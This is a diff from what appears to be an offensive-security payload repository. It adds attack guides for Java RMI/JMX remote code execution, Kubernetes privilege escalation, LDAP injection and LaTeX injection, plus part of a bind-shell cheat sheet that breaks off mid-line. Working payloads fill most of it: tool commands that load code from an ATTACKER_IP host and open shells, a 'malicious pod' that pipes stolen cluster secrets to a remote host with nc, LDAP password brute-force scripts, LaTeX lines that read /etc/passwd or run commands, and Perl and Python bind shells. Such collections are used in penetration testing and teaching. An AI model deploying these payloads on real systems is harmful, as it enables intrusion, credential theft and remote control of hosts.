- [Attacking JWT authentication - Sep 28, 2016 - Sjoerd Langkemper](https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/)
|
||||
- [How to Hack a Weak JWT Implementation with a Timing Attack - Jan 7, 2017 - Tamas Polgar](https://hackernoon.com/can-timing-attack-be-a-practical-security-threat-on-jwt-signature-ba3c8340dea9)
|
||||
- [HACKING JSON WEB TOKENS, FROM ZERO TO HERO WITHOUT EFFORT - Thu Feb 09 2017 - @pdp](https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html)
|
||||
- [Write up – JRR Token – LeHack 2019 - 07/07/2019 - LAPHAZE](http://rootinthemiddle.org/write-up-jrr-token-lehack-2019/)
|
||||
- [JWT Hacking 101 - TrustFoundry - Tyler Rosonke - December 8th, 2017](https://trustfoundry.net/jwt-hacking-101/)
|
||||
- [JSON Web Token Validation Bypass in Auth0 Authentication API - Ben Knight Senior Security Consultant - April 16, 2020](https://insomniasec.com/blog/auth0-jwt-validation-bypass)
|
||||
|
||||
63
Java RMI/README.md
Normal file
@@ -0,0 +1,63 @@
|
||||
# Java RMI
|
||||
|
||||
> The attacker can host a MLet file and instruct the JMX service to load MBeans from the remote host.
|
||||
|
||||
## Summary
|
||||
|
||||
* [Exploitation](#exploitation)
|
||||
* [Requirements](#requirements)
|
||||
* [Detection](#detection)
|
||||
* [Remote Command Execution](#remote-command-execution)
|
||||
* [References](#references)
|
||||
|
||||
## Exploitation
|
||||
|
||||
### Requirements
|
||||
- Jython
|
||||
- The JMX server can connect to a http service that is controlled by the attacker
|
||||
- JMX authentication is not enabled
|
||||
|
||||
|
||||
### Detection
|
||||
|
||||
```powershell
|
||||
$ nmap -sV --script "rmi-dumpregistry or rmi-vuln-classloader" -p TARGET_PORT TARGET_IP -Pn -v
|
||||
1089/tcp open java-rmi Java RMI
|
||||
| rmi-vuln-classloader:
|
||||
| VULNERABLE:
|
||||
| RMI registry default configuration remote code execution vulnerability
|
||||
| State: VULNERABLE
|
||||
| Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code execution.
|
||||
| rmi-dumpregistry:
|
||||
| jmxrmi
|
||||
| javax.management.remote.rmi.RMIServerImpl_Stub
|
||||
```
|
||||
|
||||
### Remote Command Execution
|
||||
|
||||
The attack involves the following steps:
|
||||
* Starting a web server that hosts the MLet and a JAR file with the malicious MBeans
|
||||
* Creating a instance of the MBean javax.management.loading.MLet on the target server, using JMX
|
||||
* Invoking the "getMBeansFromURL" method of the MBean instance, passing the webserver URL as parameter. The JMX service will connect to the http server and parse the MLet file.
|
||||
* The JMX service downloads and loades the JAR files that were referenced in the MLet file, making the malicious MBean available over JMX.
|
||||
* The attacker finally invokes methods from the malicious MBean.
|
||||
|
||||
Exploit the JMX using [sjet](https://github.com/siberas/sjet) or [mjet](https://github.com/mogwailabs/mjet)
|
||||
|
||||
```powershell
|
||||
jython sjet.py TARGET_IP TARGET_PORT super_secret install http://ATTACKER_IP:8000 8000
|
||||
jython sjet.py TARGET_IP TARGET_PORT super_secret command "ls -la"
|
||||
jython sjet.py TARGET_IP TARGET_PORT super_secret shell
|
||||
jython sjet.py TARGET_IP TARGET_PORT super_secret password this-is-the-new-password
|
||||
jython sjet.py TARGET_IP TARGET_PORT super_secret uninstall
|
||||
jython mjet.py --jmxrole admin --jmxpassword adminpassword TARGET_IP TARGET_PORT deserialize CommonsCollections6 "touch /tmp/xxx"
|
||||
|
||||
jython mjet.py TARGET_IP TARGET_PORT install super_secret http://ATTACKER_IP:8000 8000
|
||||
jython mjet.py TARGET_IP TARGET_PORT command super_secret "whoami"
|
||||
jython mjet.py TARGET_IP TARGET_PORT command super_secret shell
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
* [ATTACKING RMI BASED JMX SERVICES - HANS-MARTIN MÜNCH - 28 APR 2019](https://mogwailabs.de/en/blog/2019/04/attacking-rmi-based-jmx-services/)
|
||||
* [JMX RMI – MULTIPLE APPLICATIONS RCE - Red Timmy Security - 26th March 2019](https://www.exploit-db.com/docs/english/46607-jmx-rmi-–-multiple-applications-remote-code-execution.pdf)
|
||||
303
Kubernetes/readme.md
Normal file
@@ -0,0 +1,303 @@
|
||||
# Kubernetes
|
||||
|
||||
> Kubernetes is an open-source container-orchestration system for automating application deployment, scaling, and management. It was originally designed by Google, and is now maintained by the Cloud Native Computing Foundation.
|
||||
|
||||
## Summary
|
||||
|
||||
- [Tools](#tools)
|
||||
- [Container Environment](#container-environment)
|
||||
- [Information Gathering](#information-gathering)
|
||||
- [RBAC Configuration](#rbac-configuration)
|
||||
- [Listing Secrets](#listing-secrets)
|
||||
- [Access Any Resource or Verb](#access-any-resource-or-verb)
|
||||
- [Pod Creation](#pod-creation)
|
||||
- [Privilege to Use Pods/Exec](#privilege-to-use-pods-exec)
|
||||
- [Privilege to Get/Patch Rolebindings](#privilege-to-get-patch-rolebindings)
|
||||
- [Impersonating a Privileged Account](#impersonating-a-privileged-account)
|
||||
- [Privileged Service Account Token](#privileged-service-account-token)
|
||||
- [Interesting endpoints to reach](#interesting-endpoints-to-reach)
|
||||
- [API addresses that you should know](#api-addresses-that-you-should-know)
|
||||
- [References](#references)
|
||||
|
||||
## Tools
|
||||
|
||||
* [kubeaudit](https://github.com/Shopify/kubeaudit) - Audit Kubernetes clusters against common security concerns
|
||||
* [kubesec.io](https://kubesec.io/) - Security risk analysis for Kubernetes resources
|
||||
* [kube-bench](https://github.com/aquasecurity/kube-bench) - Checks whether Kubernetes is deployed securely by running [CIS Kubernetes Benchmark](https://www.cisecurity.org/benchmark/kubernetes/)
|
||||
* [kube-hunter](https://github.com/aquasecurity/kube-hunter) - Hunt for security weaknesses in Kubernetes clusters
|
||||
* [katacoda](https://katacoda.com/courses/kubernetes) - Learn Kubernetes using interactive broser-based scenarios
|
||||
* [kubescape](https://github.com/armosec/kubescape) - Automate Kubernetes cluster scans to identify security issues
|
||||
|
||||
## Container Environment
|
||||
|
||||
Containers within a Kubernetes cluster automatically have certain information made available to them through their [container environment](https://kubernetes.io/docs/concepts/containers/container-environment/). Additional information may have been made available through the volumes, environment variables, or the downward API, but this section covers only what is made available by default.
|
||||
|
||||
### Service Account
|
||||
|
||||
Each Kubernetes pod is assigned a service account for accessing the Kubernetes API. The service account, in addition to the current namespace and Kubernetes SSL certificate, are made available via a mounted read-only volume:
|
||||
|
||||
```
|
||||
/var/run/secrets/kubernetes.io/serviceaccount/token
|
||||
/var/run/secrets/kubernetes.io/serviceaccount/namespace
|
||||
/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
|
||||
```
|
||||
|
||||
If the `kubectl` utility is installed in the container, it will use this service account automatically and will make interacting with the cluster much easier. If not, the contents of the `token` and `namespace` files can be used to make HTTP API requests directly.
|
||||
|
||||
### Environment Variables
|
||||
|
||||
The `KUBERNETES_SERVICE_HOST` and `KUBERNETES_SERVICE_PORT` environment variables are automatically provided to the container. They contain the IP address and port number of the Kubernetes master node. If `kubectl` is installed, it will use these values automatically. If not, the values can be used to determine the correct IP address to send API requests to.
|
||||
|
||||
```
|
||||
KUBERNETES_SERVICE_HOST=192.168.154.228
|
||||
KUBERNETES_SERVICE_PORT=443
|
||||
```
|
||||
|
||||
Additionally, [environment variables](https://kubernetes.io/docs/concepts/services-networking/service/#discovering-services) are automatically created for each Kubernetes service running in the current namespace when the container was created. The environment variables are named using two patterns:
|
||||
|
||||
- A simplified `{SVCNAME}_SERVICE_HOST` and `{SVCNAME}_SERVICE_PORT` contain the IP address and default port number for the service.
|
||||
- A [Docker links](https://docs.docker.com/network/links/#environment-variables) collection of variables named `{SVCNAME}_PORT_{NUM}_{PROTOCOL}_{PROTO|PORT|ADDR}` for each port the service exposes.
|
||||
|
||||
For example, all of the following environment variables would be available if a `redis-master` service were running with port 6379 exposed:
|
||||
|
||||
```
|
||||
REDIS_MASTER_SERVICE_HOST=10.0.0.11
|
||||
REDIS_MASTER_SERVICE_PORT=6379
|
||||
REDIS_MASTER_PORT=tcp://10.0.0.11:6379
|
||||
REDIS_MASTER_PORT_6379_TCP=tcp://10.0.0.11:6379
|
||||
REDIS_MASTER_PORT_6379_TCP_PROTO=tcp
|
||||
REDIS_MASTER_PORT_6379_TCP_PORT=6379
|
||||
REDIS_MASTER_PORT_6379_TCP_ADDR=10.0.0.11
|
||||
```
|
||||
|
||||
### Simulating `kubectl` API Requests
|
||||
|
||||
Most containers within a Kubernetes cluster won't have the `kubectl` utility installed. If running the [one-line `kubectl` installer](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) within the container isn't an option, you may need to craft Kubernetes HTTP API requests manually. This can be done by using `kubectl` *locally* to determine the correct API request to send from the container.
|
||||
|
||||
1. Run the desired command at the maximum verbosity level using `kubectl -v9 ...`
|
||||
1. The output will include HTTP API endpoint URL, the request body, and an example curl command.
|
||||
1. Replace the endpoint URL's hostname and port with the `KUBERNETES_SERVICE_HOST` and `KUBERNETES_SERVICE_PORT` values from the container's environment variables.
|
||||
1. Replace the masked "Authorization: Bearer" token value with the contents of `/var/run/secrets/kubernetes.io/serviceaccount/token` from the container.
|
||||
1. If the request had a body, ensure the "Content-Type: application/json" header is included and send the request body using the customary method (for curl, use the `--data` flag).
|
||||
|
||||
For example, this output was used to create the [Service Account Permissions](#service-account-permissions) request:
|
||||
|
||||
```powershell
|
||||
# NOTE: only the Authorization and Content-Type headers are required. The rest can be omitted.
|
||||
$ kubectl -v9 auth can-i --list
|
||||
I1028 18:58:38.192352 76118 loader.go:359] Config loaded from file /home/example/.kube/config
|
||||
I1028 18:58:38.193847 76118 request.go:942] Request Body: {"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","metadata":{"creationTimestamp":null},"spec":{"namespace":"default"},"status":{"resourceRules":null,"nonResourceRules":null,"incomplete":false}}
|
||||
I1028 18:58:38.193912 76118 round_trippers.go:419] curl -k -v -XPOST -H "Accept: application/json, */*" -H "Content-Type: application/json" -H "User-Agent: kubectl/v1.14.10 (linux/amd64) kubernetes/f5757a1" 'https://1.2.3.4:5678/apis/authorization.k8s.io/v1/selfsubjectrulesreviews'
|
||||
I1028 18:58:38.295722 76118 round_trippers.go:438] POST https://1.2.3.4:5678/apis/authorization.k8s.io/v1/selfsubjectrulesreviews 201 Created in 101 milliseconds
|
||||
I1028 18:58:38.295760 76118 round_trippers.go:444] Response Headers:
|
||||
...
|
||||
```
|
||||
|
||||
## Information Gathering
|
||||
|
||||
### Service Account Permissions
|
||||
|
||||
The default service account may have been granted additional permissions that make cluster compromise or lateral movement easier.
|
||||
The following can be used to determine the service account's permissions:
|
||||
|
||||
```powershell
|
||||
# Namespace-level permissions using kubectl
|
||||
kubectl auth can-i --list
|
||||
|
||||
# Cluster-level permissions using kubectl
|
||||
kubectl auth can-i --list --namespace=kube-system
|
||||
|
||||
# Permissions list using curl
|
||||
NAMESPACE=$(cat "/var/run/secrets/kubernetes.io/serviceaccount/namespace")
|
||||
# For cluster-level, use NAMESPACE="kube-system" instead
|
||||
|
||||
MASTER_URL="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"
|
||||
TOKEN=$(cat "/var/run/secrets/kubernetes.io/serviceaccount/token")
|
||||
curl "${MASTER_URL}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
|
||||
--cacert "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt" \
|
||||
--header "Authorization: Bearer ${TOKEN}" \
|
||||
--header "Content-Type: application/json" \
|
||||
--data '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"'${NAMESPACE}'"}}'
|
||||
```
|
||||
|
||||
### Secrets, ConfigMaps, and Volumes
|
||||
|
||||
Kubernetes provides Secrets and ConfigMaps as a way to load configuration into containers at runtime. While they may not lead directly to whole cluster compromise, the information they contain can lead to individual service compromise or enable lateral movement within a cluster.
|
||||
|
||||
From a container perspective, Kubernetes Secrets and ConfigMaps are identical. Both can be loaded into environment variables or mounted as volumes. It's not possible to determine if an environment variable was loaded from a Secret/ConfigMap, so each environment variable will need to be manually inspected. When mounted as a volume, Secrets/ConfigMaps are always mounted as read-only tmpfs filesystems. You can quickly find these with `grep -F "tmpfs ro" /etc/mtab`.
|
||||
|
||||
True Kubernetes Volumes are typically used as shared storage or for persistent storage across restarts. These are typically mounted as ext4 filesystems and can be identified with `grep -wF "ext4" /etc/mtab`.
|
||||
|
||||
### Privileged Containers
|
||||
|
||||
Kubernetes supports a wide range of [security contexts](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) for container and pod execution. The most important of these is the "privileged" [security policy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/) which makes the host node's devices available under the container's `/dev` directory. This means having access to the host's Docker socket file (allowing arbitrary container actions) in addition to the host's root disks (which can be used to escape the container entirely).
|
||||
|
||||
While there is no official way to check for privileged mode from *within* a container, checking if `/dev/kmsg` exists will usually suffice.
|
||||
|
||||
## RBAC Configuration
|
||||
|
||||
### Listing Secrets
|
||||
|
||||
An attacker that gains access to list secrets in the cluster can use the following curl commands to get all secrets in "kube-system" namespace.
|
||||
|
||||
```powershell
|
||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
|
||||
### Access Any Resource or Verb
|
||||
|
||||
```powershell
|
||||
resources:
|
||||
- '*'
|
||||
verbs:
|
||||
- '*'
|
||||
```
|
||||
|
||||
### Pod Creation
|
||||
|
||||
Check your right with `kubectl get role system:controller:bootstrap-signer -n kube-system -o yaml`.
|
||||
Then create a malicious pod.yaml file.
|
||||
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: alpine
|
||||
namespace: kube-system
|
||||
spec:
|
||||
containers:
|
||||
- name: alpine
|
||||
image: alpine
|
||||
command: ["/bin/sh"]
|
||||
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
|
||||
serviceAccountName: bootstrap-signer
|
||||
automountServiceAccountToken: true
|
||||
hostNetwork: true
|
||||
```
|
||||
|
||||
Then `kubectl apply -f malicious-pod.yaml`
|
||||
|
||||
### Privilege to Use Pods/Exec
|
||||
|
||||
```powershell
|
||||
kubectl exec -it <POD NAME> -n <PODS NAMESPACE> –- sh
|
||||
```
|
||||
|
||||
### Privilege to Get/Patch Rolebindings
|
||||
|
||||
The purpose of this JSON file is to bind the admin "CluserRole" to the compromised service account.
|
||||
Create a malicious RoleBinging.json file.
|
||||
|
||||
```powershell
|
||||
{
|
||||
"apiVersion": "rbac.authorization.k8s.io/v1",
|
||||
"kind": "RoleBinding",
|
||||
"metadata": {
|
||||
"name": "malicious-rolebinding",
|
||||
"namespcaes": "default"
|
||||
},
|
||||
"roleRef": {
|
||||
"apiGroup": "*",
|
||||
"kind": "ClusterRole",
|
||||
"name": "admin"
|
||||
},
|
||||
"subjects": [
|
||||
{
|
||||
"kind": "ServiceAccount",
|
||||
"name": "sa-comp"
|
||||
"namespace": "default"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
```powershell
|
||||
curl -k -v -X POST -H "Authorization: Bearer <JWT TOKEN>" -H "Content-Type: application/json" https://<master_ip>:<port>/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings -d @malicious-RoleBinging.json
|
||||
curl -k -v -X POST -H "Authorization: Bearer <COMPROMISED JWT TOKEN>" -H "Content-Type: application/json" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secret
|
||||
```
|
||||
|
||||
### Impersonating a Privileged Account
|
||||
|
||||
```powershell
|
||||
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" -H "Impersonate-Group: system:masters" -H "Impersonate-User: null" -H "Accept: application/json" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
|
||||
## Privileged Service Account Token
|
||||
|
||||
```powershell
|
||||
$ cat /run/secrets/kubernetes.io/serviceaccount/token
|
||||
$ curl -k -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/default/secrets/
|
||||
```
|
||||
|
||||
## Interesting endpoints to reach
|
||||
|
||||
```powershell
|
||||
# List Pods
|
||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/default/pods/
|
||||
|
||||
# List secrets
|
||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/default/secrets/
|
||||
|
||||
# List deployments
|
||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip:<port>/apis/extensions/v1beta1/namespaces/default/deployments
|
||||
|
||||
# List daemonsets
|
||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip:<port>/apis/extensions/v1beta1/namespaces/default/daemonsets
|
||||
```
|
||||
|
||||
|
||||
## API addresses that you should know
|
||||
|
||||
*(External network visibility)*
|
||||
|
||||
### cAdvisor
|
||||
|
||||
```powershell
|
||||
curl -k https://<IP Address>:4194
|
||||
```
|
||||
|
||||
### Insecure API server
|
||||
|
||||
```powershell
|
||||
curl -k https://<IP Address>:8080
|
||||
```
|
||||
|
||||
### Secure API Server
|
||||
|
||||
```powershell
|
||||
curl -k https://<IP Address>:(8|6)443/swaggerapi
|
||||
curl -k https://<IP Address>:(8|6)443/healthz
|
||||
curl -k https://<IP Address>:(8|6)443/api/v1
|
||||
```
|
||||
|
||||
### etcd API
|
||||
|
||||
```powershell
|
||||
curl -k https://<IP address>:2379
|
||||
curl -k https://<IP address>:2379/version
|
||||
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
|
||||
```
|
||||
|
||||
### Kubelet API
|
||||
|
||||
```powershell
|
||||
curl -k https://<IP address>:10250
|
||||
curl -k https://<IP address>:10250/metrics
|
||||
curl -k https://<IP address>:10250/pods
|
||||
```
|
||||
|
||||
### kubelet (Read only)
|
||||
|
||||
```powershell
|
||||
curl -k https://<IP Address>:10255
|
||||
http://<external-IP>:10255/pods
|
||||
```
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [Kubernetes Pentest Methodology Part 1 - by Or Ida on August 8, 2019](https://securityboulevard.com/2019/08/kubernetes-pentest-methodology-part-1)
|
||||
- [Kubernetes Pentest Methodology Part 2 - by Or Ida on September 5, 2019](https://securityboulevard.com/2019/09/kubernetes-pentest-methodology-part-2)
|
||||
- [Kubernetes Pentest Methodology Part 3 - by Or Ida on November 21, 2019](https://securityboulevard.com/2019/11/kubernetes-pentest-methodology-part-3)
|
||||
- [Capturing all the flags in BSidesSF CTF by pwning our infrastructure - Hackernoon](https://hackernoon.com/capturing-all-the-flags-in-bsidessf-ctf-by-pwning-our-infrastructure-3570b99b4dd0)
|
||||
- [Kubernetes Pod Privilege Escalation](https://labs.bishopfox.com/tech-blog/bad-pods-kubernetes-pod-privilege-escalation)
|
||||
@@ -1,6 +1,17 @@
|
||||
# LDAP injection
|
||||
|
||||
LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy.
|
||||
> LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy.
|
||||
|
||||
## Summary
|
||||
|
||||
* [Exploitation](#exploitation)
|
||||
* [Payloads](#payloads)
|
||||
* [Blind Exploitation](#blind-exploitation)
|
||||
* [Defaults attributes](#defaults-attributes)
|
||||
* [Exploiting userPassword attribute](#exploiting-userpassword-attribute)
|
||||
* [Scripts](#scripts)
|
||||
* [Discover valid LDAP fields](#discover-valid-ldap-fields)
|
||||
* [Special blind LDAP injection](#special-blind-ldap-injection)
|
||||
|
||||
## Exploitation
|
||||
|
||||
@@ -9,7 +20,7 @@ Example 1.
|
||||
```sql
|
||||
user = *)(uid=*))(|(uid=*
|
||||
pass = password
|
||||
query = "(&(uid=*)(uid=*)) (|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))"
|
||||
query = (&(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))
|
||||
```
|
||||
|
||||
Example 2
|
||||
@@ -96,9 +107,91 @@ userPassword:2.5.13.18:=\xx\xx
|
||||
userPassword:2.5.13.18:=\xx\xx\xx
|
||||
```
|
||||
|
||||
## Scripts
|
||||
|
||||
### Discover valid LDAP fields
|
||||
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
|
||||
import requests
|
||||
import string
|
||||
|
||||
fields = []
|
||||
|
||||
url = 'https://URL.com/'
|
||||
|
||||
f = open('dic', 'r') #Open the wordlists of common attributes
|
||||
wordl = f.read().split('\n')
|
||||
f.close()
|
||||
|
||||
for i in wordl:
|
||||
r = requests.post(url, data = {'login':'*)('+str(i)+'=*))\x00', 'password':'bla'}) #Like (&(login=*)(ITER_VAL=*))\x00)(password=bla))
|
||||
if 'TRUE CONDITION' in r.text:
|
||||
fields.append(str(i))
|
||||
|
||||
print(fields)
|
||||
```
|
||||
|
||||
Ref. [5][5]
|
||||
|
||||
### Special blind LDAP injection (without "*")
|
||||
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
|
||||
import requests, string
|
||||
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
|
||||
|
||||
flag = ""
|
||||
for i in range(50):
|
||||
print("[i] Looking for number " + str(i))
|
||||
for char in alphabet:
|
||||
r = requests.get("http://ctf.web?action=dir&search=admin*)(password=" + flag + char)
|
||||
if ("TRUE CONDITION" in r.text):
|
||||
flag += char
|
||||
print("[+] Flag: " + flag)
|
||||
break
|
||||
```
|
||||
|
||||
Ref. [5][5]
|
||||
|
||||
```ruby
|
||||
#!/usr/bin/env ruby
|
||||
|
||||
require 'net/http'
|
||||
alphabet = [*'a'..'z', *'A'..'Z', *'0'..'9'] + '_@{}-/()!"$%=^[]:;'.split('')
|
||||
|
||||
flag = ''
|
||||
|
||||
(0..50).each do |i|
|
||||
puts("[i] Looking for number #{i}")
|
||||
alphabet.each do |char|
|
||||
r = Net::HTTP.get(URI("http://ctf.web?action=dir&search=admin*)(password=#{flag}#{char}"))
|
||||
if /TRUE CONDITION/.match?(r)
|
||||
flag += char
|
||||
puts("[+] Flag: #{flag}")
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
```
|
||||
|
||||
By [noraj](https://github.com/noraj)
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* [OWASP LDAP Injection](https://www.owasp.org/index.php/LDAP_injection)
|
||||
* [LDAP Blind Explorer](http://code.google.com/p/ldap-blind-explorer/)
|
||||
* [ECW 2018 : Write Up - AdmYSsion (WEB - 50) - 0xUKN](https://0xukn.fr/posts/WriteUpECW2018AdmYSsion/)
|
||||
* [ECW 2018 : Write Up - AdmYSsion (WEB - 50) - 0xUKN](https://0xukn.fr/posts/writeupecw2018admyssion/)
|
||||
* [Quals ECW 2018 - Maki](https://maki.bzh/courses/blog/writeups/qualecw2018/)
|
||||
* [How To Manage and Use LDAP Servers with OpenLDAP Utilities](https://www.digitalocean.com/community/tutorials/how-to-manage-and-use-ldap-servers-with-openldap-utilities)
|
||||
* [How To Configure OpenLDAP and Perform Administrative LDAP Tasks](https://www.digitalocean.com/community/tutorials/how-to-configure-openldap-and-perform-administrative-ldap-tasks)
|
||||
* SSH key authentication via LDAP
|
||||
- [How to setup LDAP server for openssh-lpk](https://openssh-ldap-pubkey.readthedocs.io/en/latest/openldap.html)
|
||||
- [openssh-lpk.ldif](https://github.com/Lullabot/openldap-schema/blob/master/openssh-lpk.ldif)
|
||||
- [Setting up OpenLDAP server with OpenSSH-LPK on Ubuntu 14.04](https://blog.shichao.io/2015/04/17/setup_openldap_server_with_openssh_lpk_on_ubuntu.html)
|
||||
- [SSH key authentication using LDAP](https://serverfault.com/questions/653792/ssh-key-authentication-using-ldap)
|
||||
- [FR] [SSH et LDAP](https://wiki.lereset.org/ateliers:serveurmail:ldap-ssh)
|
||||
- [SSH Public Keys in OpenLDAP](http://pig.made-it.com/ldap-openssh.html)
|
||||
@@ -2,14 +2,16 @@
|
||||
|
||||
## Read file
|
||||
|
||||
```bash
|
||||
Read file and interpret the LaTeX code in it:
|
||||
|
||||
```tex
|
||||
\input{/etc/passwd}
|
||||
\include{password} # load .tex file
|
||||
\include{somefile} # load .tex file (somefile.tex)
|
||||
```
|
||||
|
||||
Read single lined file
|
||||
Read single lined file:
|
||||
|
||||
```bash
|
||||
```tex
|
||||
\newread\file
|
||||
\openin\file=/etc/issue
|
||||
\read\file to\line
|
||||
@@ -17,9 +19,9 @@ Read single lined file
|
||||
\closein\file
|
||||
```
|
||||
|
||||
Read multiple lined file
|
||||
Read multiple lined file:
|
||||
|
||||
```bash
|
||||
```tex
|
||||
\newread\file
|
||||
\openin\file=/etc/passwd
|
||||
\loop\unless\ifeof\file
|
||||
@@ -29,47 +31,64 @@ Read multiple lined file
|
||||
\closein\file
|
||||
```
|
||||
|
||||
Read text file, keep the formatting
|
||||
Read text file, **without** interpreting the content, it will only paste raw file content:
|
||||
|
||||
```bash
|
||||
```tex
|
||||
\usepackage{verbatim}
|
||||
\verbatiminput{/etc/passwd}
|
||||
```
|
||||
|
||||
If injection point is past document header (`\usepackage` cannot be used), some control
|
||||
characters can be deactivated in order to use `\input` on file containing `$`, `#`,
|
||||
`_`, `&`, null bytes, ... (eg. perl scripts).
|
||||
|
||||
```tex
|
||||
\catcode `\$=12
|
||||
\catcode `\#=12
|
||||
\catcode `\_=12
|
||||
\catcode `\&=12
|
||||
\input{path_to_script.pl}
|
||||
```
|
||||
|
||||
## Write file
|
||||
|
||||
```bash
|
||||
Write single lined file:
|
||||
|
||||
```tex
|
||||
\newwrite\outfile
|
||||
\openout\outfile=cmd.tex
|
||||
\write\outfile{Hello-world}
|
||||
\write\outfile{Line 2}
|
||||
\write\outfile{I like trains}
|
||||
\closeout\outfile
|
||||
```
|
||||
|
||||
## Command execution
|
||||
|
||||
The input of the command will be redirected to stdin, use a temp file to get it.
|
||||
The output of the command will be redirected to stdout, therefore you need to use a temp file to get it.
|
||||
|
||||
```bash
|
||||
\immediate\write18{env > output}
|
||||
```tex
|
||||
\immediate\write18{id > output}
|
||||
\input{output}
|
||||
```
|
||||
|
||||
If you get any LaTex error, consider using base64 to get the result without bad characters
|
||||
If you get any LaTex error, consider using base64 to get the result without bad characters (or use `\verbatiminput`):
|
||||
|
||||
```bash
|
||||
```tex
|
||||
\immediate\write18{env | base64 > test.tex}
|
||||
\input{text.tex}
|
||||
```
|
||||
|
||||
```bash
|
||||
\input|ls|base4
|
||||
```tex
|
||||
\input|ls|base64
|
||||
\input{|"/bin/hostname"}
|
||||
```
|
||||
|
||||
## Cross Site Scripting
|
||||
|
||||
From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
||||
```bash
|
||||
|
||||
```tex
|
||||
\url{javascript:alert(1)}
|
||||
\href{javascript:alert(1)}{placeholder}
|
||||
```
|
||||
|
||||
95
Methodology and Resources/Bind Shell Cheatsheet.md
Normal file
@@ -0,0 +1,95 @@
|
||||
# Bind Shell
|
||||
|
||||
## Summary
|
||||
|
||||
* [Bind Shell](#bind-shell)
|
||||
* [Perl](#perl)
|
||||
* [Python](#python)
|
||||
* [PHP](#php)
|
||||
* [Ruby](#ruby)
|
||||
* [Netcat Traditional](#netcat-traditional)
|
||||
* [Netcat OpenBsd](#netcat-openbsd)
|
||||
* [Ncat](#ncat)
|
||||
* [Socat](#socat)
|
||||
* [Powershell](#powershell)
|
||||
|
||||
|
||||
## Perl
|
||||
|
||||
```perl
|
||||
perl -e 'use Socket;$p=51337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));\
|
||||
bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);\
|
||||
close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/bash -i");};'
|
||||
```
|
||||
|
||||
## Python
|
||||
|
||||
Single line :
|
||||
```python
|
||||
python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",51337));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'
|
||||
```
|
||||
|
||||
Expanded version :
|
||||
|
||||
```python
|
||||
import socket as s,subprocess as sp;
|
||||
|
||||
s1 = s.socket(s.AF_INET, s.SOCK_STREAM);
|
||||
s1.setsockopt(s.SOL_SOCKET, s.SO_REUSEADDR, 1);
|
||||
s1.bind(("0.0.0.0", 51337));
|
||||
s1.listen(1);
|
||||
c, a = s1.accept();
|
||||
|
||||
while True:
|
||||
d = c.recv(1024).decode();
|
||||
p = sp.Popen(d, shell=True, stdout=sp.PIPE, stderr=sp.PIPE, stdin=sp.PIPE);
|
||||
c.sendall(p.stdout.read()+p.stderr.read())
|
||||
```
|
||||
|
||||
## PHP
|
||||
|
||||
```php
|
||||
php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,"0.0.0.0",51337);\
|
||||
socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,"$ ",2))exit;\
|
||||
